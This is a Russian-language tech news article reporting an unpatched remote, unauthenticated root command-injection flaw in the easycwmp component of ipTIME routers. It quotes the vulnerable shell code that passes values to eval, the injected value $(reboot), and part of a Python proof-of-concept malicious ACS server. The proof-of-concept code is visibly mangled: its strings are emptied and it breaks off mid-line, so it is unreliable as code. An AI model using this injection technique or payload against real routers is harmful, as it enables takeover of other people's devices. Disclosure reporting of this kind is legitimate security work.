Написали $(reboot) — и роутер перезагрузился. Миллионы устройств ipTIME беззащитны, патча нет

Вот как выглядит критическая уязвимость, которую никто не чинит.


gop3632h5h56ys15unks6n50o5avzp05.jpg


В роутерах ipTIME с прошивкой 15.324 нашли уязвимость, которая позволяет выполнить команду удалённо и без авторизации. Проблема затрагивает CWMP , протокол удалённого управления роутерами, через который провайдеры обычно меняют настройки, проводят диагностику, обновляют прошивку и перезагружают устройства.

Уязвимость обнаружил исследователь parkminchan из SSD Labs Korea. Команда пыталась связаться с ipTIME по нескольким каналам, включая электронную почту и южнокорейское агентство KISA, но ответа от производителя получить не удалось.

Ошибка находится в компоненте easycwmp. В нормальной схеме роутер связывается с ACS-сервером оператора, получает SOAP-сообщение и применяет переданные параметры. Но в прошивке ipTIME значение параметра попадает во временный файл без нормальной проверки, а затем выполняется через оболочку с правами root.

В файле /usr/share/easycwmp/functions/common функция common_set_value_check_param() берёт переданный аргумент, сохраняет его в переменную val и добавляет строку с командой во временный файл:

common_set_value_check_param() {local arg="$1" ...local val="$arg" // [0]...echo "$refparam$setcmd \"$val\"$getcmd" >> $set_command_tmp_file // [1]  }  ...
Дальше за дело берётся /usr/sbin/easycwmp. Компонент получает SOAP-сообщение от ACS-сервера, читает подготовленный временный файл построчно и извлекает команду, которую нужно применить к параметру:

if [ "$action" = "apply_value" ]; thenwhile read line; do [ -z "$line" ] && continue local setcmd=${line#*} setcmd=${setcmd%*} eval "$setcmd" // [2]done < $set_command_tmp_file  fi  ...
Опасная часть здесь — eval . Оболочка не просто воспринимает строку как данные, а разбирает её как команду. Поэтому значение параметра вида $(reboot) превращается в системный вызов. Так как easycwmp работает с высокими привилегиями, внедрённая команда запускается от имени root.

Для проверки уязвимости исследователь подготовил вредоносный ACS-сервер. Скрипт на Python отвечает на запрос роутера, отправляет SOAP-команду SetParameterValues и передаёт в параметр InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time полезную нагрузку $(reboot):

#!/usr/bin/env python3  import sys  import html  import http.server  PAYLOAD = "$(reboot)"  PORT = 80  NS = ('xmlns:soap_env="http://schemas.xmlsoap.org/soap/envelope/" ''xmlns:soap_enc="http://schemas.xmlsoap.org/soap/encoding/" ''xmlns:xsd="http://www.w3.org/2001/XMLSchema" ''xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ''xmlns:cwmp="urn:dslforum-org:cwmp-1-2"'  )  INFORM_RESP = (f''f""'{id}'"1"""  )  SET_PARAM = (f''f""'1'""'arameterValueStruct[1]">'"""{name}"'{value}'"""k"""""  )  EMPTY = (f''f""'0'""""  )  sessions = {}  class Handler(http.server.BaseHTTPRequestHandler):def do_POST(self): body = self.rfile.read(int(self.headers.get("Content-Length", 0))) ip = self.client_address[0] step = sessions.get(ip, 0) if step == 0 and b"Inform" in body:  cid = "1"  if b"", body.index(b"
В лабораторной проверке роутер специально настраивали на подключение к вредоносному ACS-серверу. В реальной сети атака может пройти опаснее: если устройство уже использует CWMP и связывается с легитимным сервером провайдера, злоумышленник может попытаться вклиниться в обмен через MITM-атаку и подменить SOAP-команды.

При успешном перехвате атакующий получает возможность передать роутеру собственное значение параметра. Уязвимый easycwmp запишет строку во временный файл, затем выполнит её через eval. В результате команда запустится до входа в административную панель и без знания пароля от устройства.

Пока производитель не выпустил исправление, владельцам уязвимых устройств стоит проверить, используется ли CWMP, ограничить доступ к интерфейсам удалённого управления и по возможности отключить TR-069, если функция не нужна для работы с провайдером.